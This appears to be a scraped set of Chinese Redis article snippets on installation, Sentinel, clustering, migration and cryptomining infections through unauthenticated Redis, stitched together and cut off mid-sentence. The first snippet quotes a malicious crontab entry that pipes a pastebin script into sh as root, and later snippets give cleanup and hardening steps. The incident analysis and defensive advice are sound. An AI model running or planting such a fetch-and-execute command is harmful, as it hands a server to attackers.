起因 偶然间发现redis里有一个陌生key:tightsoft,它的值是:*/1 * * * * root curl -fsSL https://pastebin.com/raw/xbY7p5Tb|sh 看key名就知道这肯定不是我们存的,再看value我警觉了,这是要定时执行脚本啊. 分析 于是我便开始逐层拨开它的面纱,脚本的内容是来源于https://pastebin.com/raw/xbY7p5Tb,把它下载到本地后查看是这样的: /usr/bin/curl -fsSL https://

======== redis ======== 1. redis setup and test : 1. download the package from https://redis.io/download 2. compile source code: tar xzf redis-3.2.5.tar.gz cd redis-3.2.5 make 3. start redis server : [dy83694@retailvm1d redis-3.2.5]$ src/redis-server

Redis高可用部署及监控 目录                        一.Redis Sentinel简介 二.硬件需求 三.拓扑结构 .单M-S结构 .双M-S结构 .优劣对比 四.配置部署 .Redis配置 .Redis Sentinel配置 .启动服务 .故障模拟检测 五.备份恢复 .备份策略 .灾难恢复 六.运维监控 1.安全监控 2.性能监控   一.           Redis Sentinel简介   Redis Sentinel是redis自带的集群管理工具,主要功

1.安装参考:https://www.jb51.net/article/146744.htm 2.安装ruby2.3.3 .gpg2 --keyserver hkp://keys.gnupg.net --recv-keys D39DC0E3 .curl -L get.rvm.io | bash -s stable .rvm生效 source /usr/local/rvm/scripts/rvm .安装一个版本 rvm install .设置默认ruby rvm use --default .ru

Redis高可用概述 ​ 在 Web 服务器中,高可用 是指服务器可以 正常访问 的时间,衡量的标准是在 多长时间 内可以提供正常服务(99.9%.99.99%.99.999% 等等).在 Redis 层面,高可用 的含义要宽泛一些,除了保证提供 正常服务(如 主从分离.快速容灾技术 等),还需要考虑 数据容量扩展.数据安全 等等. 在 Redis 中,实现 高可用 的技术主要包括 持久化.复制.哨兵 和 集群,下面简单说明它们的作用,以及解决了什么样的问题: 持久化:持久化是 最简单的 高可用

简介 Remote Dictionary Server, 翻译为远程字典服务, Redis是一个完全开源的基于Key-Value的NoSQL存储系统,他是一个使用ANSIC语言编写的,遵守BSD协议,支持网络.可基于内存的可持久化的日志型.Key-Value数据库,并提供多种语言的API. 它通常被称为数据结构服务器,因为值(value)可以是 字符串(String), 哈希(Hash), 列表(list), 集合(sets) 和 有序集合(sorted sets)等类型. # Redis架构主

任务描述 本次集中介绍使用Windows和Linux()搭建本地Redis服务器的步骤,从备份的RDB文件中加载数据,以及如何生成AOF文件和通过AOF文件想已经运行的Redis追加数据. 操作步骤 Windows版本 启动Redis-server 1:下载Redis for Windows的压缩包或者安装文件,此处通过下载zip文件作为示例:https://github.com/microsoftarchive/redis/releases 2:解压压zip包到本地Redis目录,通过CMD命

工作中有时会遇到需要把原Redis集群下线,迁移到另一个新的Redis集群的需求(如机房迁移,Redis上云等原因).此时原Redis中的数据需要如何操作才可顺利迁移到一个新的Redis集群呢? 本节简单介绍相关方法及一些工具; redis有主从架构及redis-cluster架构,架构不同,两者的迁移方法也是不相同的; ​ Redis主从迁移 若原来的redis集群为主从结构,则迁移工作是相当简单方便的.可使用slaveof迁移或aof/rdb迁移数据. slaveof : 利用slaveof

默认情况下,Redis node和sentinel的protected-mode都是yes,在搭建集群时,若想从远程连接redis集群,需要将redis.conf和sentinel.conf的protected-mode修改为no,若只修改redis node,从远程连接sentinel后,依然是无法正常使用的,且sentinel的配置文件中没有protected-mode配置项,需要手工添加. protected-mode在默认开启的情况下要是配置里没有指定bind和密码.开启该参数后,red

中毒原因,redis bind 0.0.0.0 而且没有密码,和安全意识太薄弱. 所以,redis一定要设密码,改端口,不要用root用户启动,如果业务没有需要,不要bind 0.0.0.0!!!!!!!!!!! 这个病毒能都横向传播,不要以为在外网redis的端口不通就没有事情.只要内网里有机器感染了病毒,就可以继续感染. 病症:CPU被不明进程吃满. 该病毒主要是通过,crontab定时任务,向指定网站下载脚本,运行进行挖矿. 通过crontab -l 就能查看 */15 * * * * (

最近我的阿里云ecs 老是收到 云盾态势感知系统检测到异常 top -c 后发现一个 疑似病毒  /tmp/qW3xT.2 看到网友们的解决方案 试过之后效果不错,可以用的 知道wnTKYg是什么鬼之后,我不急着杀死它,先百度了一下它怎么进来的,百度上关于它的帖子特别少,说是钻了redis的空子进来的,我基本上赞同这个说法,第一步就是对redis进行了配置上的修改: ① 把默认的端口号6379给改了 ② 把密码改的更复杂了 ③ 把bind xx.xx.x.x xx.xx.xx.xx改了 修改re

漏洞概述 近日,互联网出现watchdogs挖矿病毒,攻击者可以利用Redis未授权访问漏洞入侵服务器,通过内外网扫描感染更多机器.被感染的主机出现 crontab 任务异常.系统文件被删除.CPU 异常等情况,并且会自动感染更多机器,严重影响业务正常运行甚至导致崩溃. 在此,小哥建议您及时开展Redis业务自查并进行升级修复,避免业务和经济损失. 漏洞影响 1.数据泄露.Redis被远程控制,泄漏敏感业务数据 2.病毒感染.如果机器本身未加固,可通过Redis漏洞入侵主机资源,并进行系统破坏.

Hadoop yarn 加密采矿僵尸网路病毒还在继续蔓延! 解决步骤 如果你同样遇到了kdevtmpfsi异常进程,占用了非常高的CPU和出网带宽,影响到了你的正常业务,建议使用以下步骤解决 杀掉异常进程 ps -ef|grep kdevtmpfsi(异常进程) kill -9 pid 杀掉守护进程 杀掉kdevtmpfsi进程后,随后进程还会重启,还要杀掉守护进程 kinsing ps -ef|grep kinsing kill -9 pid 删除异常crontab任务 当你杀掉守护进程,以为

相关知识自行搜索,直接上干货... 使用的资源: nginx主服务器一台,nginx备服务器一台,使用keepalived进行宕机切换. tomcat服务器两台,由nginx进行反向代理和负载均衡,此处可搭建服务器集群. redis服务器一台,用于session的分离共享. nginx主服务器:192.168.50.133 nginx备服务器:192.168.50.135 tomcat项目服务器1:192.168.50.137 tomcat项目服务器2:192.168.50.139 redis服

Redis不是比较成熟的memcache或者Mysql的替代品,是对于大型互联网类应用在架构上很好的补充.现在有越来越多的应用也在纷纷基于Redis做架构的改造.首先简单公布一下Redis平台实际情况: 2200+亿 commands/day 5000亿Read/day 500亿Write/day 18TB+ Memory 500+ Servers in 6 IDC 2000+instances 应该是国内外比较大的Redis使用平台,今天主要从应用角度谈谈Redis服务平台. Redis使用场

1优缺点 非常非常的快,有测评说比Memcached还快(当大家都是单CPU的时候),而且是无短板的快,读写都一般的快,所有API都差不多快,也没有MySQL Cluster.MongoDB那样更新同一条记录如Counter时慢下去的毛病. 丰富的数据结构,超越了一般的Key-Value数据库而被认为是一个数据结构服务器.组合各种结构,限制Redis用途的是你自己的想象力,作者自己捉刀写的用途入门. 因为是个人作品,Redis目前只有2.3万行代码,Keep it simple的死硬做法,使得普

写在最前,最近一直在研究redis的使用,包括redis应用场景.性能优化.可行性.这是看到redis官网中一个链接,主要是讲解redis数据分区的,既然是官方推荐的,那我就翻译一下,与大家共享. Partitioning: how to split data among multiple Redis instances.   分区:如何把数据存储在多个实例中.   Partitioning is the process of splitting your data into multiple

redis-cli:the redis command line interface command line usage: $redis-cli incr mycounter 输出的结果只会显示在终端,如果需要将结果指定到相应的文件,需要自己定义 $redis-cli incr mycounter >/tmp/output.txt 连接非本机和非默认端口: $redis-cli -h reedis15.localnet.org -p 6390 ping 如果实例通过密码保护: $redis-c

1.  MySql+Memcached架构的问题 实际MySQL是适合进行海量数据存储的,通过Memcached将热点数据加载到cache,加速访问,很多公司都曾经使用过这样的架构,但随着业务数据量的不断增加,和访问量的持续增长,我们遇到了很多问题: 1.MySQL需要不断进行拆库拆表,Memcached也需不断跟着扩容,扩容和维护工作占据大量开发时间. 2.Memcached与MySQL数据库数据一致性问题. 3.Memcached数据命中率低或down机,大量访问直接穿透到DB,MySQL无

环境windows xp sp3 1.redis 安装 redis windows安装文件下载地址:http://code.google.com/p/servicestack/wiki/RedisWindowsDownload#Download_32bit_Cygwin_builds_for_Windows